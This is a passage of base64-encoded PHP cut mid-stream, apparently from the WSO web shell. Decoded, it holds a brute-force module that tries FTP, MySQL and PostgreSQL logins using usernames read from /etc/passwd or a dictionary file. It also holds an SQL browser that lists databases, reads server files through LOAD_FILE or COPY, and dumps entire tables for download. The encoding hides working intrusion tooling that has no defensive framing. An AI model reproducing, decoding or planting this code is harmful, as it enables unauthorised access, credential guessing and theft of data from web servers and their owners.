BvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7d3NvRm9vdGVyKCk7fWZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKXt3c29IZWFkZXIoKTtpZihpc3NldCgkX1BPU1RbJ3Byb3RvJ10pKXtlY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7aWYoJF9QT1NUWydwcm90byddPT0nZnRwJyl7ZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKXskZnA9QGZ0cF9jb25uZWN0KCRpcCwkcG9ydD8kcG9ydDoyMSApO2lmKCEkZnApcmV0dXJuIGZhbHNlOyRyZXM9QGZ0cF9sb2dpbigkZnAsJGxvZ2luLCRwYXNzKTtAZnRwX2Nsb3NlKCRmcCk7cmV0dXJuICRyZXM7fX1lbHNlaWYoJF9QT1NUWydwcm90byddPT0nbXlzcWwnKXtmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpeyRyZXM9QG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2ICwkbG9naW4sJHBhc3MpO0BteXNxbF9jbG9zZSgkcmVzKTtyZXR1cm4gJHJlczt9fWVsc2VpZigkX1BPU1RbJ3Byb3RvJ109PSdwZ3NxbCcpe2Z1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl7JHN0cj0iaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9cG9zdGdyZXMiOyRyZXM9QHBnX2Nvbm5lY3QoJHN0cik7QHBnX2Nsb3NlKCRyZXMpO3JldHVybiAkcmVzO319JHN1Y2Nlc3M9MCA7JGF0dGVtcHRzPTAgOyRzZXJ2ZXI9ZXhwbG9kZSgiOiIsJF9QT1NUWydzZXJ2ZXInXSk7aWYoJF9QT1NUWyd0eXBlJ109PTEgKXskdGVtcD1AZmlsZSgnL2V0Yy9wYXNzd2QnKTtpZihpc19hcnJheSgkdGVtcCkpZm9yZWFjaCgkdGVtcCBhcyAkbGluZSl7JGxpbmU9ZXhwbG9kZSgiOiIsJGxpbmUpOysrJGF0dGVtcHRzO2lmKGJydXRlRm9yY2UoQCRzZXJ2ZXJbMCBdLEAkc2VydmVyWzEgXSwkbGluZVswIF0sJGxpbmVbMCBdKSl7JHN1Y2Nlc3MrKztlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMCBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMCBdKS4nPGJyPic7fWlmKEAkX1BPU1RbJ3JldmVyc2UnXSl7JHRtcD0iIjtmb3IoJGk9c3RybGVuKCRsaW5lWzAgXSktMSA7JGk+PTAgOy0tJGkpJHRtcC49JGxpbmVbMCBdWyRpXTsrKyRhdHRlbXB0cztpZihicnV0ZUZvcmNlKEAkc2VydmVyWzAgXSxAJHNlcnZlclsxIF0sJGxpbmVbMCBdLCR0bXApKXskc3VjY2VzcysrO2VjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswIF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTt9fX19ZWxzZWlmKCRfUE9TVFsndHlwZSddPT0yICl7JHRlbXA9QGZpbGUoJF9QT1NUWydkaWN0J10pO2lmKGlzX2FycmF5KCR0ZW1wKSlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKXskbGluZT10cmltKCRsaW5lKTsrKyRhdHRlbXB0cztpZihicnV0ZUZvcmNlKCRzZXJ2ZXJbMCBdLEAkc2VydmVyWzEgXSwkX1BPU1RbJ2xvZ2luJ10sJGxpbmUpKXskc3VjY2VzcysrO2VjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nO319fWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iO31lY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+Jy4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+Jy4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jy4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+Jy4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+Jy4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JztlY2hvICc8L2Rpdj48YnI+Jzt3c29Gb290ZXIoKTt9ZnVuY3Rpb24gYWN0aW9uU3FsKCl7Y2xhc3MgRGJDbGFzc3t2YXIgJHR5cGU7dmFyICRsaW5rO3ZhciAkcmVzO2Z1bmN0aW9uIERiQ2xhc3MoJHR5cGUpeyR0aGlzLT50eXBlPSR0eXBlO31mdW5jdGlvbiBjb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLCRkYm5hbWUpe3N3aXRjaCgkdGhpcy0+dHlwZSl7Y2FzZSAnbXlzcWwnOmlmKCR0aGlzLT5saW5rPUBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpKXJldHVybiB0cnVlO2JyZWFrO2Nhc2UgJ3Bnc3FsJzokaG9zdD1leHBsb2RlKCc6JywkaG9zdCk7aWYoISRob3N0WzEgXSkkaG9zdFsxIF09NTQzMiA7aWYoJHRoaXMtPmxpbms9QHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzAgXX0gcG9ydD17JGhvc3RbMSBdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikpcmV0dXJuIHRydWU7YnJlYWs7fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKXtzd2l0Y2goJHRoaXMtPnR5cGUpe2Nhc2UgJ215c3FsJzppZihAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7YnJlYWs7fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gcXVlcnkoJHN0cil7c3dpdGNoKCR0aGlzLT50eXBlKXtjYXNlICdteXNxbCc6cmV0dXJuICR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCRzdHIpO2JyZWFrO2Nhc2UgJ3Bnc3FsJzpyZXR1cm4gJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7YnJlYWs7fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gZmV0Y2goKXskcmVzPWZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCApOiR0aGlzLT5yZXM7c3dpdGNoKCR0aGlzLT50eXBlKXtjYXNlICdteXNxbCc6cmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTticmVhaztjYXNlICdwZ3NxbCc6cmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTticmVhazt9cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBsaXN0RGJzKCl7c3dpdGNoKCR0aGlzLT50eXBlKXtjYXNlICdteXNxbCc6cmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTticmVhaztjYXNlICdwZ3NxbCc6cmV0dXJuICR0aGlzLT5yZXM9JHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpO2JyZWFrO31yZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIGxpc3RUYWJsZXMoKXtzd2l0Y2goJHRoaXMtPnR5cGUpe2Nhc2UgJ215c3FsJzpyZXR1cm4gJHRoaXMtPnJlcz0kdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7YnJlYWs7Y2FzZSAncGdzcWwnOnJldHVybiAkdGhpcy0+cmVzPSR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpO2JyZWFrO31yZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIGVycm9yKCl7c3dpdGNoKCR0aGlzLT50eXBlKXtjYXNlICdteXNxbCc6cmV0dXJuIEBteXNxbF9lcnJvcigpO2JyZWFrO2Nhc2UgJ3Bnc3FsJzpyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTticmVhazt9cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpe3N3aXRjaCgkdGhpcy0+dHlwZSl7Y2FzZSAnbXlzcWwnOmlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSlyZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsJHRoaXMtPmxpbmspO2Vsc2UgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpO2JyZWFrO2Nhc2UgJ3Bnc3FsJzpyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssJHN0cik7YnJlYWs7fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gbG9hZEZpbGUoJHN0cil7c3dpdGNoKCR0aGlzLT50eXBlKXtjYXNlICdteXNxbCc6cmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTticmVhaztjYXNlICdwZ3NxbCc6JHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgd3NvMihmaWxlIHRleHQpO0NPUFkgd3NvMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOyRyPWFycmF5KCk7d2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpJHJbXT0kaVsnZmlsZSddOyR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7cmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7YnJlYWs7fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gZHVtcCgkdGFibGUsJGZwPWZhbHNlKXtzd2l0Y2goJHRoaXMtPnR5cGUpe2Nhc2UgJ215c3FsJzokcmVzPSR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7JGNyZWF0ZT1teXNxbF9mZXRjaF9hcnJheSgkcmVzKTskc3FsPSRjcmVhdGVbMSBdLiI7XG4iO2lmKCRmcClmd3JpdGUoJGZwLCRzcWwpO2Vsc2UgZWNobyAoJHNxbCk7JHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOyRoZWFkPXRydWU7d2hpbGUoJGl0ZW09JHRoaXMtPmZldGNoKCkpeyRjb2x1bW5zPWFycmF5KCk7Zm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpe2lmKCR2PT1udWxsKSRpdGVtWyRrXT0iTlVMTCI7ZWxzZWlmKGlzX251bWVyaWMoJHYpKSRpdGVtWyRrXT0kdjtlbHNlICRpdGVtWyRrXT0iJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOyRjb2x1bW5zW109ImAiLiRrLiJgIjt9aWYoJGhlYWQpeyRzcWw9J0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCRpdGVtKS4nKSc7JGhlYWQ9ZmFsc2U7fWVsc2UgJHNxbD0iXG5cdCwoIi5pbXBsb2RlKCIsICIsJGl0ZW0pLicpJztpZigkZnApZndyaXRlKCRmcCwkc3FsKTtlbHNlIGVjaG8gKCRzcWwpO31pZighJGhlYWQpaWYoJGZwKWZ3cml0ZSgkZnAsIjtcblxuIik7ZWxzZSBlY2hvICgiO1xuXG4iKTticmVhaztjYXNlICdwZ3NxbCc6JHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTt3aGlsZSgkaXRlbT0kdGhpcy0+ZmV0Y2goKSl7JGNvbHVtbnM9YXJyYXkoKTtmb3JlYWNoKCRpdGVtIGFzICRrPT4kdil7JGl0ZW1bJGtdPSInIi5hZGRzbGFzaGVzKCR2KS4iJyI7JGNvbHVtbnNbXT0kazt9JHNxbD0nSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsJGl0ZW0pLicpOycuIlxuIjtpZigkZnApZndyaXRlKCRmcCwkc3FsKTtlbHNlIGVjaG8gKCRzcWwpO31icmVhazt9cmV0dXJuIGZhbHNlO319OyRkYj1uZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7aWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJyl7JGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwkX1BPU1RbJ3NxbF9sb2dpbiddLCRfUE9TVFsnc3FsX3Bhc3MnXSwkX1BPU1RbJ3NxbF9iYXNlJ10pOyRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTtzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pe2Nhc2UgIldpbmRvd3MtMTI1MSI6JGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTticmVhaztjYXNlICJVVEYtOCI6JGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7YnJlYWs7Y2FzZSAiS09JOC1SIjokZGItPnNldENoYXJzZXQoJ2tvaThyJyk7YnJlYWs7Y2FzZSAiS09JOC1VIjokZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7YnJlYWs7Y2FzZSAiY3A4NjYiOiRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTticmVhazt9aWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKXtvYl9zdGFydCgib2JfZ3poYW5kbGVyIiw0MDk2ICk7aGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpO2hlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7Zm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSRkYi0+ZHVtcCgkdik7ZXhpdDt9ZWxzZWlmKCRmcD1AZm9wZW4oJF9QT1NUWydmaWxlJ10sJ3cnKSl7Zm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSRkYi0+ZHVtcCgkdiwkZnApO2ZjbG9zZSgkZnApO3Vuc2V0KCRfUE9TVFsncDInXSk7fWVsc2UgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7fXdzb0hlYWRlcigpO2VjaG8gIg0KDQo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+DQo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjtpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnO2VjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiO2lmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7ZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0nIi4oZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4oZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSciLihlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkuIic+PC90ZD48dGQ+IjskdG1wPSI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9JyIuKGVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9iYXNlJ10pKS4iJz4iO2lmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpe2lmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sJF9QT1NUWydzcWxfbG9naW4nXSwkX1BPU1RbJ3NxbF9wYXNzJ10sJF9QT1NUWydzcWxfYmFzZSddKSl7c3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKXtjYXNlICJXaW5kb3dzLTEyNTEiOiRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7YnJlYWs7Y2FzZSAiVVRGLTgiOiRkYi0+c2V0Q2hhcnNldCgndXRmOCcpO2JyZWFrO2Nhc2UgIktPSTgtUiI6JGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpO2JyZWFrO2Nhc2UgIktPSTgtVSI6JGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpO2JyZWFrO2Nhc2UgImNwODY2IjokZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7YnJlYWs7fSRkYi0+bGlzdERicygpO2VjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7d2hpbGUoJGl0ZW09JGRiLT5mZXRjaCgpKXtsaXN0KCRrZXksJHZhbHVlKT1lYWNoKCRpdGVtKTtlY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nO31lY2hvICc8L3NlbGVjdD4nO31lbHNlIGVjaG8gJHRtcDt9ZWxzZSBlY2hvICR0bXA7ZWNobyAiPC90ZD4NCg0KCQkJCTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciLihlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKS4iPiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90YWJsZT4NCgkJPHNjcmlwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsNCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWZ1bmN0aW9uIHN0KHQsbCkgew0KCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCgkJCQlkLnNmLnAyLnZhbHVlID0gdDsNCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOw0KCQkJCWQuc2Yuc3VibWl0KCk7DQoJCQl9DQoJCQlmdW5jdGlvbiBpcygpIHsNCgkJCQlmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KCQkJCQlkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOw0KCQkJfQ0KCQk8L3NjcmlwdD4iO2lmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXtlY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iO2lmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXskZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7ZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7JHRibHNfcmVzPSRkYi0+bGlzdFRhYmxlcygpO3doaWxlKCRpdGVtPSRkYi0+ZmV0Y2goJHRibHNfcmVzKSl7bGlzdCgka2V5LCR2YWx1ZSk9ZWFjaCgkaXRlbSk7aWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKSRuPSRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOyR2YWx1ZT1odG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7ZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iLihlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikuIjwvbm9icj48YnI+Ijt9ZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjtpZihAJF9QT1NUWydwMSddPT0nc2VsZWN0Jyl7JF9QT1NUWydwMSddPSdxdWVyeSc7JF9QT1NUWydwMyddPSRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MSA7JGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiRfUE9TVFsncDInXSk7JG51bT0kZGItPmZldGNoKCk7JHBhZ2VzPWNlaWwoJG51bVsnbiddLzMwICk7ZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiLiRfUE9TVFsncDInXS4iXCIsIGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9Ii4oKGludCkkX1BPU1RbJ3AzJ10pLiI+IjtlY2hvICIgb2YgJHBhZ2VzIjt